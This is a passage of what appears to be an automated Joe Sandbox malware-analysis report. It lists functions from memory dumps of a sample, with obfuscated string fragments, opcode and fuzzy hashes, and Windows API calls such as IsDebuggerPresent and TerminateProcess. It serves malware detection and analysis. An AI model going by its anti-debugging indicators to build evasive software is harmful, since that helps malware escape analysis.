5[Y, xrefs: 6CA040D6
_], xrefs: 6CA03F47
}~, xrefs: 6CA03FFA
SRQ, xrefs: 6CA03F4F
Lw, xrefs: 6CA03FF2

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: 5[Y$8$CN$Lw$}~$SRQ$_]
API String ID: 0-3274379026
Opcode ID: 2ef088fb791fcb4b5d07652d7079772ea40ef3d6f1599daa881505971eba02cf
Instruction ID: f99a81f10a1857b2e277d654b320ce9de29233bab1044a514ed8f16aa7ad8d14
Opcode Fuzzy Hash: 2ef088fb791fcb4b5d07652d7079772ea40ef3d6f1599daa881505971eba02cf
Instruction Fuzzy Hash: BA5168716193518BD310CF25D8902ABB7F2FFD2349F18895CE8D19B655EB78890AC782

Function 00E10A70 Relevance: 8.1, Strings: 6, Instructions: 621COMMON

Download Yara Rule

Strings

IK, xrefs: 00E10DE2
C, xrefs: 00E10B26
Lgfe, xrefs: 00E10C52
E!q#, xrefs: 00E10B13, 00E10B1D, 00E110E7
=3, xrefs: 00E10B9D
\, xrefs: 00E10B31

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID: =3$C$E!q#$Lgfe$\$IK
API String ID: 0-2973044635
Opcode ID: 0c6124da53620af7279f1ed181df6a4729dfee9d6376ee642a2278ed5423e1b3
Instruction ID: 9cc2706bbc77f212609fba84b3ca66906fda7a4019f18f5e7e8df1c87ea22bc0
Opcode Fuzzy Hash: 0c6124da53620af7279f1ed181df6a4729dfee9d6376ee642a2278ed5423e1b3
Instruction Fuzzy Hash: 03224371A08300AFD724CF20CC41B9BBBA6EF85718F148A2CF595AB2C1D775D985CB92

Function 6CA1F430 Relevance: 8.1, Strings: 6, Instructions: 621COMMON

Download Yara Rule

Strings

C, xrefs: 6CA1F4E6
E!q#, xrefs: 6CA1F4D3, 6CA1F4DD, 6CA1FAA7
IK, xrefs: 6CA1F7A2
\, xrefs: 6CA1F4F1
Lgfe, xrefs: 6CA1F612
=3, xrefs: 6CA1F55D

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: =3$C$E!q#$Lgfe$\$IK
API String ID: 0-2973044635
Opcode ID: 0c6124da53620af7279f1ed181df6a4729dfee9d6376ee642a2278ed5423e1b3
Instruction ID: 3730a4da6d7218753a938708ca6a878ef575388da972e052e8d916564d853333
Opcode Fuzzy Hash: 0c6124da53620af7279f1ed181df6a4729dfee9d6376ee642a2278ed5423e1b3
Instruction Fuzzy Hash: 39224FB290C340AFE320CF24CC41B5BBBA6FF95718F188A1CE4999BA91D774D544CB92

Function 6C9EF610 Relevance: 6.5, Strings: 5, Instructions: 269COMMON

Download Yara Rule

Strings

57, xrefs: 6C9EF629
7514, xrefs: 6C9EF6DC
N, xrefs: 6C9EF630
84*6, xrefs: 6C9EF6FC
)=+4, xrefs: 6C9EF6E4

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: )=+4$57$7514$84*6$N
API String ID: 0-4020838272
Opcode ID: be85e90a30f89c364b58cec467ad0dcda84538ec37489d1a8be0575a1ed0ed84
Instruction ID: 790fdff52bed88ac3a2c9105955a27d1414e55e0fd4d510c91479273cce89298
Opcode Fuzzy Hash: be85e90a30f89c364b58cec467ad0dcda84538ec37489d1a8be0575a1ed0ed84
Instruction Fuzzy Hash: 7D71C56550C3C28BD306CB2A946037BFFE19FE6309F18499EE4D64B682D776C50A8752

Function 6C9D73AA Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6C9D73B6
IsDebuggerPresent.KERNEL32 ref: 6C9D7482
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C9D74A2
UnhandledExceptionFilter.KERNEL32(?), ref: 6C9D74AC

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7a92ec5f06e6c1a3c298db909f2768d6a91f47ba70821b09e4b29f4b80e74ab6
Instruction ID: 19af9b32cdb473a2b0e16440efd584a67048bf2faef2938888328ebed355ef7e
Opcode Fuzzy Hash: 7a92ec5f06e6c1a3c298db909f2768d6a91f47ba70821b09e4b29f4b80e74ab6
Instruction Fuzzy Hash: D1313875D05618DBDB11DFA0D9897CCBBB8BF18305F1081AAE40CAB240EB709A888F44

Function 00DF82B0 Relevance: 5.9, Strings: 4, Instructions: 861COMMON

Download Yara Rule

Strings

BBSH, xrefs: 00DF86D0
=79, xrefs: 00DF866E
+2/?, xrefs: 00DF8659
GZE^, xrefs: 00DF86BC

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID: +2/?$=79$BBSH$GZE^
API String ID: 0-3392023846
Opcode ID: 00fe1e064dcaa1da413347bfb472ac20779eab0912f43db2572b41facf3bac7f
Instruction ID: 05fd5393c827c1f489931ec9b96cb76adf9b105dc1c678609a31f9027ceaaf18
Opcode Fuzzy Hash: 00fe1e064dcaa1da413347bfb472ac20779eab0912f43db2572b41facf3bac7f
Instruction Fuzzy Hash: 25523570504B818FC731CF39C890666BBE2FF56314B198A6DC5E68BB92CB35E406DB61

Function 6CA06C70 Relevance: 5.9, Strings: 4, Instructions: 861COMMON

Download Yara Rule

Strings

GZE^, xrefs: 6CA0707C
=79, xrefs: 6CA0702E
+2/?, xrefs: 6CA07019
BBSH, xrefs: 6CA07090

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: +2/?$=79$BBSH$GZE^
API String ID: 0-3392023846
Opcode ID: 00fe1e064dcaa1da413347bfb472ac20779eab0912f43db2572b41facf3bac7f
Instruction ID: f9d62fc8522814b68ddaab76a4d475320d174f64c3769725090e299e4c6c97b0
Opcode Fuzzy Hash: 00fe1e064dcaa1da413347bfb472ac20779eab0912f43db2572b41facf3bac7f
Instruction Fuzzy Hash: D1521370604B418FC725CF39D890756BBE1BF56318F188A6DD4E68BB92CB35E48ACB50

Function 6C9F1100 Relevance: 5.4, Strings: 4, Instructions: 424COMMON

Download Yara Rule

Strings

IK, xrefs: 6C9F11A1
lPLN, xrefs: 6C9F1112
svfZ, xrefs: 6C9F1162
@A, xrefs: 6C9F12E0

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: @A$lPLN$svfZ$IK
API String ID: 0-1806543684
Opcode ID: 1b385bc11654429c102997eb11b6a317efb09ed8e56aa3f95cc76f5367569516
Instruction ID: 2823dd5db2c76be5e7d8931afe5ebbb6c9429facfd5e70d88581e8c9bfd1bde5
Opcode Fuzzy Hash: 1b385bc11654429c102997eb11b6a317efb09ed8e56aa3f95cc76f5367569516
Instruction Fuzzy Hash: 5DC129B164D3904BD3158E64949136FBBE2EBC3658F28C92CE4F64B741D776C80A9BC2

Function 6C9F475B Relevance: 5.3, Strings: 4, Instructions: 294COMMON

Download Yara Rule

Strings

r, xrefs: 6C9F4785
U\, xrefs: 6C9F49AA
Lk, xrefs: 6C9F4B49, 6C9F4B50
Zb, xrefs: 6C9F499F

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: Lk$U\$Zb$r
API String ID: 0-3997483426
Opcode ID: e17a18912ea567579c4fc2db02703ef8580df8f0f45191be225d75c2fc3c5c62
Instruction ID: 7e26486b6cda7eedfc5a74b705884440a7dc364cbc9ff34baea5762279c81897
Opcode Fuzzy Hash: e17a18912ea567579c4fc2db02703ef8580df8f0f45191be225d75c2fc3c5c62
Instruction Fuzzy Hash: C8A1BF7410D3D18AD7358F25D5947EBBBE1AF93308F188AACD0E94B682D73981068F57

Function 6C9D9D3A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6C9D9E32
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6C9D9E3C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6C9D9E49

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 09995840a2a6cf56490a55ae6f85f4907269bbaf015cf752577a38e753da34d2
Instruction ID: 320e5d5f0275d1cd4041fc0cc2e1b4f70d24d068f8d557c0e65e635d8cde1331
Opcode Fuzzy Hash: 09995840a2a6cf56490a55ae6f85f4907269bbaf015cf752577a38e753da34d2
Instruction Fuzzy Hash: 3B310574911619DBCB61DF25C8887CCBBB8BF18310F6182DAE40CA7250EB30AB858F44

Function 6C9D8B35 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6C9D8B34,?,00000001,?,?), ref: 6C9D8B57
TerminateProcess.KERNEL32(00000000,?,6C9D8B34,?,00000001,?,?), ref: 6C9D8B5E
ExitProcess.KERNEL32 ref: 6C9D8B70

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0109504e861bb191464a0cbf3dc376888f2570dc0903ec8bce380c48c34c0fb5
Instruction ID: 18a986f9836fbfdcd360278029aa7cf988512c16a39bb1ea7003380664725c06
Opcode Fuzzy Hash: 0109504e861bb191464a0cbf3dc376888f2570dc0903ec8bce380c48c34c0fb5
Instruction Fuzzy Hash: 01E08671104B44EFCF556F50C908E883B3DFF66246F119415F8099A622CB39F981DB84

Function 6C9F242B Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

A_, xrefs: 6C9F2581
IG, xrefs: 6C9F2571
PQ, xrefs: 6C9F25A1

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: PQ$A_$IG
API String ID: 0-2179527320
Opcode ID: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction ID: 94702bbdc23ba602113ae0ad2e0d0652d35fe66dbad3abf33dff0f54def16a98
Opcode Fuzzy Hash: 87f178b092da160a7b0e03a4e1fdad8c491404ee0c8813f4c1ba4b67aab2772a
Instruction Fuzzy Hash: F3419AB400C3818AD704CF21C85276BB7F0FF96758F249A1DE0E58BA95E374C146CB5A

Function 00DFD8D0 Relevance: 3.9, Strings: 3, Instructions: 112COMMON

Download Yara Rule

Strings

KP, xrefs: 00DFD92A
@J, xrefs: 00DFD931
VD, xrefs: 00DFD923

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID: @J$KP$VD
API String ID: 0-3841663987
Opcode ID: 9fa3d2b87a46f13b78e19f520b388da73002b2cea1f4d3e4d46194a187be3b61
Instruction ID: 98a6a688fc682ab677fbe192057b0d2d727254a41983fb38fc7fb92962192fc1
Opcode Fuzzy Hash: 9fa3d2b87a46f13b78e19f520b388da73002b2cea1f4d3e4d46194a187be3b61
Instruction Fuzzy Hash: D83157B5900706AFD714CF29C880BAEFB72FB81310F188228D5256BB84C3B4A426CFD5

Function 6CA0C290 Relevance: 3.9, Strings: 3, Instructions: 112COMMON

Download Yara Rule

Strings

@J, xrefs: 6CA0C2F1
KP, xrefs: 6CA0C2EA
VD, xrefs: 6CA0C2E3

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: @J$KP$VD
API String ID: 0-3841663987
Opcode ID: 9fa3d2b87a46f13b78e19f520b388da73002b2cea1f4d3e4d46194a187be3b61
Instruction ID: be4c62f6599c2fc7b2632d8a6477780af83f26970518db9b44ad65d9b5396d5c
Opcode Fuzzy Hash: 9fa3d2b87a46f13b78e19f520b388da73002b2cea1f4d3e4d46194a187be3b61
Instruction Fuzzy Hash: 3F3128B4904706AFD718CF29C88079EFB72FB81314F588228D4156BB84C374A466CFD6

Function 6C9D6370 Relevance: 3.0, Strings: 2, Instructions: 537COMMONLIBRARYCODE

Download Yara Rule

Strings

/cc, xrefs: 6C9D68B2
/cc, xrefs: 6C9D6B2F

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: /cc$/cc
API String ID: 0-1050529368
Opcode ID: b41d83a4409e67f6fadfe6a6db754830e8041f5899920a2975d6620845970843
Instruction ID: 10134d3e07322ff2217f5a926c8f2d3db38831075ac37b859b0cc6361a6476c6
Opcode Fuzzy Hash: b41d83a4409e67f6fadfe6a6db754830e8041f5899920a2975d6620845970843
Instruction Fuzzy Hash: C412D432A446098FCB08CEBCD9916CDBBF6EB4A314F21C915E425F7798C62AE905CF15

Function 6C9D2790 Relevance: 3.0, Strings: 2, Instructions: 481COMMON

Download Yara Rule

Strings

u5Ws, xrefs: 6C9D2B45
-b) , xrefs: 6C9D27B6

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: -b) $u5Ws
API String ID: 0-738638561
Opcode ID: 29184daa7c5c9df0d559dc58e57b92b9dabab6d613abb710ab05d499823ea89b
Instruction ID: 1f38427b12aff2a1a8c68f69ba244096cf264160d77e2089cffb3eee77c62073
Opcode Fuzzy Hash: 29184daa7c5c9df0d559dc58e57b92b9dabab6d613abb710ab05d499823ea89b
Instruction Fuzzy Hash: 10121675E48A098FCB18CFACC598A9DBBF5AB4A300F218019E419FB765C635EC45CF51

Function 015A6760 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

`X>T, xrefs: 015A6812
`X>T, xrefs: 015A6819

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: `X>T$`X>T
API String ID: 0-333539016
Opcode ID: 012f913ceeef2b960c114760e80c8bb32240b7984fad7a2dd1a7cd576886195f
Instruction ID: d8478994b8792f69682a3925c0a9d1cff1bee939a1e945860e4b1dce7527fb38
Opcode Fuzzy Hash: 012f913ceeef2b960c114760e80c8bb32240b7984fad7a2dd1a7cd576886195f
Instruction Fuzzy Hash: E2410BB4E5561ADFCB04CFAAC5405AEFBF2BF88310F58D42AC415AB354E3349A418F95

Function 6C9F4D70 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

efg`, xrefs: 6C9F4CE0
efg`, xrefs: 6C9F4D90

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: efg`$efg`
API String ID: 0-3010568471
Opcode ID: c5ada42056d3fc76a98ee84529e4403200c891b7caeda6597bbf5d36a9a239cd
Instruction ID: a61425b5b52f4513b803ea2aa30f1e3122c3a684be4860500a122399a436fc6d
Opcode Fuzzy Hash: c5ada42056d3fc76a98ee84529e4403200c891b7caeda6597bbf5d36a9a239cd
Instruction Fuzzy Hash: 9531C476A083508BD328CF51D5A069FB391BFF5208F5A952DC9D667B10CB30E90AC7E6

Function 6C9EB95A Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

8, xrefs: 6C9EB9BC
0, xrefs: 6C9EB9C4

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 003df14ecfa601b2b8272d25891c6d12553ff35d77cafa357be2489bff4b6c75
Instruction ID: e4797d498c9b8f4e8cf905aa26488a60de33570a772719d1d2005a6cf98ed300
Opcode Fuzzy Hash: 003df14ecfa601b2b8272d25891c6d12553ff35d77cafa357be2489bff4b6c75
Instruction Fuzzy Hash: F531093660D7C08FD325CA28C48028FBBE1AFE9214F184E8CE9D867352C674D909CB53

Function 6C9E03C1 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6C9E03BC,?,?,00000008,?,?,6C9E0054,00000000), ref: 6C9E05EE

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3ca66e87ebd8c4e5d52f2d3b74b862384abd525c2805ba9a8c0cced4e3bf4ef3
Instruction ID: e484de10faecf8a882c3294d85fbd7883ee8cc3fb89214b77210d5b8a9df0f22
Opcode Fuzzy Hash: 3ca66e87ebd8c4e5d52f2d3b74b862384abd525c2805ba9a8c0cced4e3bf4ef3
Instruction Fuzzy Hash: 60B18931210648CFD706CF28C486B957BB0FF59368F259658E8E9CF6A1CB35E992DB40

Function 6CA0EB70 Relevance: 1.7, Strings: 1, Instructions: 466COMMON

Download Yara Rule

Strings

=:;8, xrefs: 6CA0EBFC

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: =:;8
API String ID: 0-508151936
Opcode ID: d1d4412e991f2ca893e6d91414f179692270e2ee8b5e91f64184037dcd18990a
Instruction ID: a9dbb77a5215def42e14dfdbb612cc01590b26bc5d440405e117bf8994843028
Opcode Fuzzy Hash: d1d4412e991f2ca893e6d91414f179692270e2ee8b5e91f64184037dcd18990a
Instruction Fuzzy Hash: 94D14572B483118BD714CE28EC9126BB7A2EBC534CF1D8A3CD9C54BB81E6759886D7C1

Function 6C9D7578 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6C9D758E

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 93fa2b6867475c8a1c92056a00ebf5ab5b9ba065143aa276ef35aad0d4c2ed52
Instruction ID: 02a1402f2309470b61f2e2bbc9a3737bd1c65b987247ac3e034fbc81d234d913
Opcode Fuzzy Hash: 93fa2b6867475c8a1c92056a00ebf5ab5b9ba065143aa276ef35aad0d4c2ed52
Instruction Fuzzy Hash: 3851BCB1A02B168FDB18CFA5C89179ABBF4FB49308F21C52AD419EB644E374E941CF50

Function 00E13720 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00E13910

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID: 5|iL
API String ID: 0-1880071150
Opcode ID: 119d9b564c58e3664755373a27b7c1bd2dcc34c2ad9583fe8ec6af8b9e8f19ec
Instruction ID: f3abca14e6ba9046987731e1ef3390696722422f1f4bea066fb54386be107abc
Opcode Fuzzy Hash: 119d9b564c58e3664755373a27b7c1bd2dcc34c2ad9583fe8ec6af8b9e8f19ec
Instruction Fuzzy Hash: E0711836A043108BC7148F398C806ABB7A2EBC6724F199A6CD9E5B7394C771DD8287C1

Function 6CA220E0 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5|iL, xrefs: 6CA222D0

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: 5|iL
API String ID: 0-1880071150
Opcode ID: 119d9b564c58e3664755373a27b7c1bd2dcc34c2ad9583fe8ec6af8b9e8f19ec
Instruction ID: 8d3fd52aab1dfe6f3fa4fab7a528634071456eb69373c33da8653d880ebd6a71
Opcode Fuzzy Hash: 119d9b564c58e3664755373a27b7c1bd2dcc34c2ad9583fe8ec6af8b9e8f19ec
Instruction Fuzzy Hash: 0B711C36A193218BD7048F298C8465BB7A6EBC6338F1D876CD9A4AB750C335DC4687D1

Function 6C9F44D8 Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

efg`, xrefs: 6C9F4500

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: efg`
API String ID: 0-115929991
Opcode ID: 962b1ba090834712128080aea7a0aa25f858a57ea08d99e97d32d1d56c9f1af0
Instruction ID: edf8c665923987b832b5cb673be00bbff9233c185e9171b74ff379f9df235176
